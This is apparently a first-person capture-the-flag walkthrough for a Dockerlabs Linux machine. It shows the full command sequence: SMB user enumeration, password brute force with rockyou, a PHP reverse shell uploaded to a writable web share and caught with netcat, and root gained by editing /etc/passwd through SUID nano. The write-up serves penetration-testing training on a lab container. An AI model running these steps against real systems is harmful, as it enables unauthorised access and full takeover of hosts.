| Platform | Dockerlabs |
|---|---|
| OS | Linux |
| Difficulty | Medium |
| InitialVector | Writable SMB share abused to upload a PHP web shell |
| Privesc | SUID nano used to edit /etc/passwd and create a root user |
Domain¶
Information Gathering¶
I began by verifying connectivity to the target. The returned TTL value of 64 strongly suggested that the host was running Linux.
ping -c 4 172.17.0.2
Next, I performed an Nmap scan to identify exposed ports and the services running on the target.
nmap -sV -sC --min-rate 5000 172.17.0.2 -n -Pn
The scan revealed the following services:
- 80/tcp - Apache 2.4.52
- 139/tcp - Samba
smbd4 - 445/tcp - Samba
smbd4
Browsing to the website did not reveal anything immediately useful. It only contained generic information about Samba and its purpose.
SMB Enumeration¶
Since Samba was exposed, I moved on to SMB enumeration. A good first step here was to check whether anonymous enumeration would disclose valid usernames.
enum4linux 172.17.0.2
enum4linux returned two usernames:
jamesbob
To validate that result, I queried SMB users again with netexec.
netexec smb 172.17.0.2 -u '' -p '' --users
This confirmed that james and bob were the only visible users at this stage.
I also attempted to enumerate shares anonymously:
netexec smb 172.17.0.2 -u '' -p '' --shares
That did not provide usable access, so the next logical step was to attempt a password attack against the discovered users.
Credential Discovery¶
I placed the discovered usernames into a local wordlist and used netexec with rockyou.txt to brute-force SMB authentication.
netexec smb 172.17.0.2 -u users.txt -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding
This successfully revealed valid credentials for the user bob:
- Username:
bob - Password:
star
With valid credentials in hand, I re-enumerated the available shares:
netexec smb 172.17.0.2 -u 'bob' -p 'star' --shares
The account had the following permissions:
print$-READhtml-READ, WRITEIPC$
The writable html share immediately stood out as a strong avenue for code execution through the web service on port 80.
Initial Access¶
I connected to the writable share with smbclient to inspect its contents.
smbclient //172.17.0.2/html -U bob
Inside the share, I found an index.html file.
Since the web root was writable, I uploaded a PHP reverse shell named notashell.php, using the classic PentestMonkey PHP reverse shell as the payload.
put notashell.php
On my attacker machine, I started a Netcat listener:
nc -nvlp 3312
Then I triggered the payload by visiting:
http://172.17.0.2/notashell.php
That successfully provided a shell on the target as www-data.
Pivoting to a Valid User¶
After landing the reverse shell, I authenticated locally as bob using the credentials already recovered during SMB brute force.
su bob
star
At this point, I attempted a basic shell upgrade:
/bin/bash -i
export TERM=xterm
This improved the situation slightly, but it was still not enough for reliable terminal interaction during text editing.
Privilege Escalation Enumeration¶
With a shell as bob, I checked for SUID binaries:
find / -perm -4000 -ls 2>/dev/null
The result that mattered immediately was nano with the SUID bit set.
Because nano was running with elevated privileges, modifying /etc/passwd became a viable privilege escalation path. Instead of changing the existing root password directly, I chose the quieter option of creating a new root-equivalent user.
First, I generated an MD5-crypt password hash:
openssl passwd -1 password
$1$Lq1NQOKk$K4yzdt9.Cvn3gdLl7CAj90
Then I tried to edit /etc/passwd with the SUID nano binary:
/usr/bin/nano /etc/passwd
However, this was where the unstable reverse shell became the real obstacle. The shell was not fully interactive, so moving through the file caused control characters to be written into the document instead of behaving like a normal terminal. That made editing /etc/passwd unreliable and potentially destructive.
Achieving a Fully Interactive Shell¶
The most important part of this machine was stabilizing the reverse shell well enough to work comfortably inside nano. To fix the terminal properly, I rebuilt the session using the classic TTY upgrade sequence below.
From the compromised shell, I started a better pseudo-terminal:
script /dev/null -c bash
Then I backgrounded the session with Ctrl+Z and fixed my local terminal before bringing the shell back to the foreground:
stty raw -echo;fg
After that, I reset the terminal and exported the appropriate environment variables:
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 39 cols 166
Finally, I cleared the screen:
clear
At that point, the shell behaved much more like a native interactive terminal. Navigation keys worked correctly, and I could move inside text editors without corrupting file contents.
This was the turning point of the box. Once the terminal was properly stabilized, the privilege escalation step became straightforward.
Privilege Escalation¶
With the shell fixed, I generated the password hash again and reopened /etc/passwd using SUID nano:
openssl passwd -1 password
$1$Lq1NQOKk$K4yzdt9.Cvn3gdLl7CAj90
/usr/bin/nano /etc/passwd
I then added the following entry to create a new root-level user named service:
service:$1$Lq1NQOKk$K4yzdt9.Cvn3gdLl7CAj90:0:0::/root:/bin/bash
After saving the file, I authenticated as service with the password I had chosen. This immediately granted root privileges.
Conclusion¶
The exploitation path itself was relatively direct: enumerate SMB, brute-force valid credentials, upload a PHP reverse shell to the writable web directory, pivot to a local user, and abuse SUID nano to modify /etc/passwd.
The hardest part of this machine was not the privilege escalation primitive, but obtaining a shell that was stable enough to use it properly. The full TTY upgrade sequence was essential. Without a truly interactive terminal, editing /etc/passwd through nano was messy and unreliable. Once the shell behaved like a near-native session, the final escalation to root was immediate.